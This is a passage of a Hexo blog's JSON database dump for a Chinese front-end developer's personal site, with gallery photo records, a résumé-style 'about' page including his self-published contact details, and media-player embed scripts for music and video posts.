乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<p>姓名：江志雄<br>性别：你猜<br>专业：软件工程</p>\n<h3 id=\"工作经历\"><a href=\"#工作经历\" class=\"headerlink\" title=\"工作经历\"></a>工作经历</h3><ul>\n<li><p>南昌·午逅科技</p>\n<p>  任务职责：完成移动端 H5 页面开发</p>\n<p>  工作目的：还原设计师给的设计稿，调整兼容性问题</p>\n<blockquote>\n<p>2017.06 – 2017.09</p>\n</blockquote>\n</li>\n<li><p>杭州·机蜜<br>  任务职责：前端业务，公共工具开发</p>\n<blockquote>\n<p>2017.10 – 至今</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"个人作品\"><a href=\"#个人作品\" class=\"headerlink\" title=\"个人作品\"></a>个人作品</h3><ul>\n<li><a href=\"https://github.com/j710328466/vue-qqmusic\" target=\"_blank\" rel=\"noopener\">vue仿QQ音乐</a></li>\n<li><a href=\"http://jzxer.cn/water/\" target=\"_blank\" rel=\"noopener\">水灵</a></li>\n<li>微信小程序：蛋糕定制demo（未完成。。。）</li>\n</ul>\n<h3 id=\"技术栈\"><a href=\"#技术栈\" class=\"headerlink\" title=\"技术栈\"></a>技术栈</h3><p>前端</p>\n<ul>\n<li>Vuejs React </li>\n<li>JavaScript(ES5 ES6) </li>\n<li>HTML5 CSS/CSS3  </li>\n<li>SASS(SCSS)</li>\n<li>熟悉各种框架（bootstrap, semantic-ui, mint-ui, element-ui等)</li>\n</ul>\n<p>后端</p>\n<ul>\n<li>Nodejs(ExpressJS,KoaJS)</li>\n</ul>\n<p>数据库</p>\n<ul>\n<li>MongoDB</li>\n</ul>\n<p>自动化构建</p>\n<ul>\n<li>webpack gulp parcel</li>\n</ul>\n<p>版本管理</p>\n<ul>\n<li>GIT SVN</li>\n</ul>\n<p>目前学习计划</p>\n<blockquote>\n<p>基于vue的SSR框架nuxt<br>nodeJS / koa2</p>\n</blockquote>\n<h3 id=\"兴趣爱好\"><a href=\"#兴趣爱好\" class=\"headerlink\" title=\"兴趣爱好\"></a>兴趣爱好</h3><blockquote>\n<p>看书<br>健身<br>摇滚乐 (靠 “谱”)</p>\n</blockquote>\n<h3 id=\"自我介绍\"><a href=\"#自我介绍\" class=\"headerlink\" title=\"自我介绍\"></a>自我介绍</h3><p>本⼈是软件⼯程学⽣. 喜欢折腾爱好音乐沉迷前端能独立思考解决问题性格貌似还不错 (读完很累吧~)</p>\n<ul>\n<li>tag <blockquote>\n<p>行动派: 认准一件事就会全力以赴,不达目的不罢休<br>艺术派：前端工程师能将艺术与编程完美结合的一种职业, so, 热爱它吧</p>\n</blockquote>\n<h3 id=\"联系方式\"><a href=\"#联系方式\" class=\"headerlink\" title=\"联系方式\"></a>联系方式</h3><blockquote>\n<p>qq: 710328466<br>tel: 15216030330(中午和晚上一般都关机，我要睡觉…)<br><a href=\"http://blog.jzxer.cn/\">blog</a></p>\n</blockquote>\n</li>\n</ul>\n\n        <div id=\"aplayer-utlCkfDz\" class=\"aplayer aplayer-tag-marker\" style=\"margin-bottom: 20px;\">\n            <pre class=\"aplayer-lrc-content\"></pre>\n        </div>\n        <script>\n          var ap = new APlayer({\n            element: document.getElementById(\"aplayer-utlCkfDz\"),\n            narrow: false,\n            autoplay: true,\n            showlrc: false,\n            music: {\n              title: \"初学者\",\n              author: \"薛之谦\",\n              url: \"http://orjedzer5.bkt.clouddn.com/%E5%88%9D%E5%AD%A6%E8%80%85.mp3\",\n              pic: \"\",\n              lrc: \"\"\n            }\n          });\n          window.aplayers || (window.aplayers = []);\n          window.aplayers.push(ap);\n        </script>\n"},{"title":"gallery","date":"2018-05-23T07:56:12.527Z","layout":"gallery","_content":"","source":"gallery/index.md","raw":"---\ntitle: gallery\ndate:\nlayout: gallery\n---\n","updated":"2017-06-15T11:31:28.000Z","path":"gallery/index.html","comments":1,"_id":"cjhiu2y2x0003vzqhr5hta79m","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script>","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":""},{"title":"links","date":"2018-05-23T07:56:12.539Z","layout":"links","_content":"","source":"links/index.md","raw":"---\ntitle: links\ndate:\nlayout: links\n---","updated":"2017-06-15T11:04:10.000Z","path":"links/index.html","comments":1,"_id":"cjhiu2y3c0007vzqhuslxm7ne","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script>","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":""},{"title":"tags","date":"2018-05-23T07:56:12.534Z","layout":"tags","_content":"","source":"tags/index.md","raw":"---\ntitle: tags\ndate:\nlayout: tags\n---","updated":"2017-06-15T11:08:48.000Z","path":"tags/index.html","comments":1,"_id":"cjhiu2y3r0009vzqh44nt5uyx","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script>","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":""},{"title":"timeline","date":"2018-05-23T07:56:12.549Z","layout":"timeline","_content":"","source":"timeline/index.md","raw":"---\ntitle: timeline\ndate:\nlayout: timeline\n---","updated":"2018-05-23T07:28:31.826Z","path":"timeline/index.html","comments":1,"_id":"cjhiu2y3x000dvzqhperbqs2g","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script>","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":""}],"Post":[{"title":"Amani-间奏","date":"2017-03-28T02:26:12.000Z","_content":"\n{% dplayer \n    \"url=http://orjedzer5.bkt.clouddn.com/amani%EF%BC%88%E9%97%B4%E5%A5%8F%EF%BC%89.mp4\" \n    \"api=http://dplayer.daoapp.io\"  \n    \"id=1\" \n    \"loop=yes\" \n    \"theme=#fff\" \n    \"autoplay=true\" \n    \"token=tokendemo\" \n%}","source":"_posts/Amani-间奏-1.md","raw":"---\ntitle: Amani-间奏\ndate: 2017-03-28 10:26:12\ntags: [音乐]\ncategories: 音乐\n---\n\n{% dplayer \n    \"url=http://orjedzer5.bkt.clouddn.com/amani%EF%BC%88%E9%97%B4%E5%A5%8F%EF%BC%89.mp4\" \n    \"api=http://dplayer.daoapp.io\"  \n    \"id=1\" \n    \"loop=yes\" \n    \"theme=#fff\" \n    \"autoplay=true\" \n    \"token=tokendemo\" \n%}","slug":"Amani-间奏-1","published":1,"updated":"2018-01-22T03:50:49.735Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y1x0000vzqh9mizcgba","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><div id=\"dplayer0\" class=\"dplayer hexo-tag-dplayer-mark\" style=\"margin-bottom: 20px;\"></div><script>(function(){var player = new DPlayer({\"container\":document.getElementById(\"dplayer0\"),\"autoplay\":true,\"theme\":\"#fff\",\"loop\":true,\"video\":{\"url\":\"http://orjedzer5.bkt.clouddn.com/amani%EF%BC%88%E9%97%B4%E5%A5%8F%EF%BC%89.mp4\"},\"danmaku\":{\"id\":\"1\",\"api\":\"http://dplayer.daoapp.io\",\"token\":\"tokendemo\"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg